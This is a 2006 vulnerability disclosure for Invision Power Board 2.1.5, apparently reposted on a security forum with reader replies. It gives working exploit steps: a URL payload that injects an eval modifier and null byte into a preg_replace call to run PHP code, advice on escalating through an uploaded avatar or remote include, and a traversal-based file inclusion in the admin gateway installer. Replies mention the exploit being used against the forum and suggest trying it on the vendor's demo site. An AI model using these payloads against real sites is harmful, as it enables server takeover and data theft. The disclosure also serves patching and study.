Several Invision Flaws (2.1.5 and possibly earlier)
---------------------------------------------------
IceShaman & Wells
HackThisSite.org
1) Code execution
sources/action_public/search.php line 1261
$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'",
$this->output );
The input string is not properly sanitized which can lead to arbitrary code execution.
Example exploit:
- Post in a forum with "eval(die()); //" somewhere in the body of the post
- Use the search form to find text die just by your username (so only one result shows)
make sure "Show results as posts" is selected.
- Append to the URL at the top &lastdate=z|eval.*?%20//)%23e%00 and press return
- The code should have been executed
The lastdate string alters the regex to accept anything inside eval() and parse it as code, as
an #e modifier is added and then %00 used which will be parsed as a null byte and truncate
the string thus removing the original )#i part.
Due to selected='selected' also being executed as php code a space and // has to be used to turn
the text into a comment so it will be ignored by PHP.
As you can see this is just the beginning. You can upload an avatar with php code somewhere in it
and changed the above example to include() it thus running as much PHP code as you like. On default
PHP setups you can also include() remote files.
2) Remote file inclusion (requires admin)
sources/action_admin/paysubscriptions.php line 282
$gateway = trim( $this->ipsclass->input['name'] );
The input string is not properly sanitized and can be used to transverse directories in
this later include on line 307:
require_once( ROOT_PATH . 'sources/classes/paymentgateways/class_gw_'.$gateway.'.php' );
This code may look safe as the prefix to the file is hardcoded, unfortunately the backspace
character may be used to remove this prefix thus allowing ../../ combinations to execute code
from any file ending in .php.
Example: [url="http://host/admin.php?adsess=...§ion=content&act=msubs&code=install-gateway&name="]http://www.host.com/index.php?act=task&ck='[/url]
Although this is limited to 32 characters, it still may pose a risk in certain circumstances.
Flaws researched by IceShaman and Wells
Flaw #1 was first discovered by "securicore" security group and used to exploit my forums. This led
to me doing a quick audit of the code to find it (it goes without saying that I succeeded).
- IceShaman
Sponsored by: █ Sparkhost - Hosting Without Compromises! █ Hybrid Performance Web Hosting █ Spark Host Stream Hosting █ Hybrid IRC & IRCd Server Shell Accounts
Invision Power Board <= 2.1.5 Multiple Vulnerabilities
#1
Posted 25 April 2006 - 03:51 PM
#2
Posted 26 April 2006 - 08:30 AM
#3
Posted 26 April 2006 - 03:37 PM
#4
Posted 26 April 2006 - 03:41 PM
#5
Posted 26 April 2006 - 03:54 PM
So do I considering someone already tried to run the exploit today, :S, and I'm fairly sure its a simple patch, filtering out # signs would have fixed it, or if we actually knew what (and how) the variable was used you could probably just filter it properly....my guess would be that it has to be an integer, so just running it through intval() should have been enough, but ah well...hope GSO is patched!
Has anyone tested the second flaw succesfuly, because I haven't been able to get any characters deleted by using the backspace char (on my own test script, so it may work on IPB or some random PHP installs or something).....
#7
Posted 27 April 2006 - 04:48 AM
#8
Posted 27 April 2006 - 05:41 AM
Damn I can't even see what they wrote zone-h is down
Subscribe To Our RSS Feed For the Latest News from GovernmentSecurity.orgWould you like to earn money posting on GSO?
#9
Posted 27 April 2006 - 06:22 AM
And secondly regex exploit is very good job, I want congrats guys who found security flaws from hackthissite.
About hacking GSO, I think they were waiting for this day
setthesun me = new setthesun();
#10
Posted 27 April 2006 - 06:25 AM
Subscribe To Our RSS Feed For the Latest News from GovernmentSecurity.orgWould you like to earn money posting on GSO?
#11 Guest_Paul_*
Posted 27 April 2006 - 06:28 AM
#12
Posted 27 April 2006 - 12:50 PM
I was already like WTF?? when i tried to access the site this morning and got a htaxx question. lol, no legal box to try this on tho
you can test it on the official IPB demo site
resets every hour
#13
Posted 27 April 2006 - 01:01 PM
#14
Posted 27 April 2006 - 01:03 PM
#15
Posted 06 February 2012 - 02:42 AM
0 user(s) are reading this topic
0 members, 0 guests, 0 anonymous users












